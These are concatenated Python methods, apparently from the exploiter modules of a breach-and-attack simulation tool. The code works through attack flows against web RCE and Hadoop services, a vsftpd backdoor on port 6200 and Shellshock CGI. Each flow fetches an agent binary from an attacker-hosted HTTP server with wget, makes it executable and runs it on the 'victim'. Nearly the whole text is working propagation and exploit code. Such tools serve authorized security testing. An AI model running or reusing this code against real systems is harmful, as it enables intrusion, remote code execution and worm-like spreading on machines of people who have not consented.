def _exploit_host(self): """ Method that contains default exploitation workflow :return: True if exploited, False otherwise """ # We get exploit configuration exploit_config = self.get_exploit_config() # Get open ports ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"]) self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) if not self.are_vulnerable_urls_sufficient(): return False self.target_url = self.get_target_url() self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given if ( not exploit_config["blind_exploit"] and self.skip_exist and self.check_remote_files(self.target_url) ): LOG.info( "Host %s was already infected under the current configuration, done" % self.host ) return True # Check for targets architecture (if it's 32 or 64 bit) if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): return False # Upload the right monkey to target data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) if data is False: return False # Change permissions to transform monkey into executable file if self.change_permissions(self.get_target_url(), data["path"]) is False: return False # Execute remote monkey if ( self.execute_remote_monkey( self.get_target_url(), data["path"], exploit_config["dropper"] ) is False ): return False return True
def upload_monkey(self, url, commands=None): """ :param url: Where exploiter should send it's request :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") if not self.host.os['type']: LOG.error("Unknown target's os type. Skipping.") return False paths = self.get_monkey_paths() if not paths: return False # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer( self.host, paths['src_path']) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) # Choose command: if not commands: commands = { 'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD } command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") # If response is false exploiter failed if resp is False: return resp else: return {'response': resp, 'path': paths['dest_path']}
def _exploit_host(self): # Try to get exploitable url urls = self.build_potential_urls(self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False # We presume hadoop works only on 64-bit machines if self.host.os['type'] == 'windows': self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False http_path, http_thread = HTTPTools.create_locked_transfer( self.host, paths['src_path']) command = self.build_command(paths['dest_path'], http_path) if not self.exploit(self.vulnerable_urls[0], command): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() self.add_executed_cmd(command) return True
def set_vulnerable_port_from_url(self, url): self.vulnerable_port = HTTPTools.get_port_from_url(url)
def _exploit_host(self): LOG.info("Attempting to trigger the Backdoor..") ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): ftp_socket.recv(RECV_128).decode('utf-8') if self.socket_send_recv(ftp_socket, USERNAME + '\n'): time.sleep(FTP_TIME_BUFFER) self.socket_send(ftp_socket, PASSWORD + '\n') ftp_socket.close() LOG.info('Backdoor Enabled, Now we can run commands') else: LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr) return False LOG.info('Attempting to connect to backdoor...') backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) uname_m = str.encode(UNAME_M + '\n') response = self.socket_send_recv(backdoor_socket, uname_m) if response: LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): # command execution is successful self.host.os['machine'] = response.lower().strip() self.host.os['type'] = 'linux' else: LOG.info("Failed to execute command uname -m on victim %r ", self.host) src_path = get_target_monkey(self.host) LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # Create a http server to host the monkey http_path, http_thread = HTTPTools.create_locked_transfer( self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux LOG.info("Download link for monkey is %s", http_path) # Upload the monkey to the machine monkey_path = dropper_target_path_linux download_command = WGET_HTTP_UPLOAD % { 'monkey_path': monkey_path, 'http_path': http_path } download_command = str.encode(str(download_command) + '\n') LOG.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): LOG.info('Monkey is now Downloaded ') else: LOG.error('Failed to download monkey at %s', self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() # Change permissions change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) T1222Telem(ScanStatus.USED, change_permission, self.host).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) run_monkey = RUN_MONKEY % { 'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters } # Set unlimited to memory # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit run_monkey = ULIMIT_V + UNLIMITED + run_monkey run_monkey = str.encode(str(run_monkey) + '\n') time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) self.add_executed_cmd(run_monkey) return True else: return False
def _exploit_host(self): # start by picking ports candidate_services = { service: self.host.services[service] for service in self.host.services if ("name" in self.host.services[service]) and ( self.host.services[service]["name"] == "http") } valid_ports = [ (port, candidate_services["tcp-" + str(port)]["data"][1]) for port in self.HTTP if "tcp-" + str(port) in candidate_services ] http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] LOG.info("Scanning %s, ports [%s] for vulnerable CGI pages" % (self.host, ",".join([str(port[0]) for port in valid_ports]))) attackable_urls = [] # now for each port we want to check the entire URL list for port in http_ports: urls = self.check_urls(self.host.ip_addr, port) attackable_urls.extend(urls) for port in https_ports: urls = self.check_urls(self.host.ip_addr, port, is_https=True) attackable_urls.extend(urls) # now for each URl we want to try and see if it's attackable exploitable_urls = [ self.attempt_exploit(url) for url in attackable_urls ] exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed self.exploit_info["vulnerable_urls"] = [ url[1] for url in exploitable_urls ] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs if not self.host.os.get("type"): try: uname_os_attack = exploit + "/bin/uname -o" uname_os = self.attack_page(url, header, uname_os_attack) if "linux" in uname_os: self.host.os["type"] = "linux" else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug( "Error running uname os command on victim %r: (%s)", self.host, exc) return False if not self.host.os.get("machine"): try: uname_machine_attack = exploit + "/bin/uname -m" uname_machine = self.attack_page(url, header, uname_machine_attack) if "" != uname_machine: self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: LOG.debug( "Error running uname machine command on victim %r: (%s)", self.host, exc) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux)): LOG.info( "Host %s was already infected under the current configuration, " "done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False if not self._create_lock_file(exploit, url, header): LOG.info("Another monkey is running shellshock exploit") return True http_path, http_thread = HTTPTools.create_transfer( self.host, src_path) if not http_path: LOG.debug( "Exploiter ShellShock failed, http transfer creation failed." ) return False download_command = "/usr/bin/wget %s -O %s;" % ( http_path, dropper_target_path_linux) download = exploit + download_command self.attack_page( url, header, download ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ("ELF" not in self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable chmod = "/bin/chmod +x %s" % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline( self.host, get_monkey_depth() - 1, HTTPTools.get_port_from_url(url), dropper_target_path_linux, ) cmdline += " & " run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline, ) if not (self.check_remote_file_exists( url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue self.add_executed_cmd(cmdline) return True return False
def _start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.try_create_locked_transfer( self.host, agent_paths["src_path"]) self._agent_http_server_thread = http_thread return http_path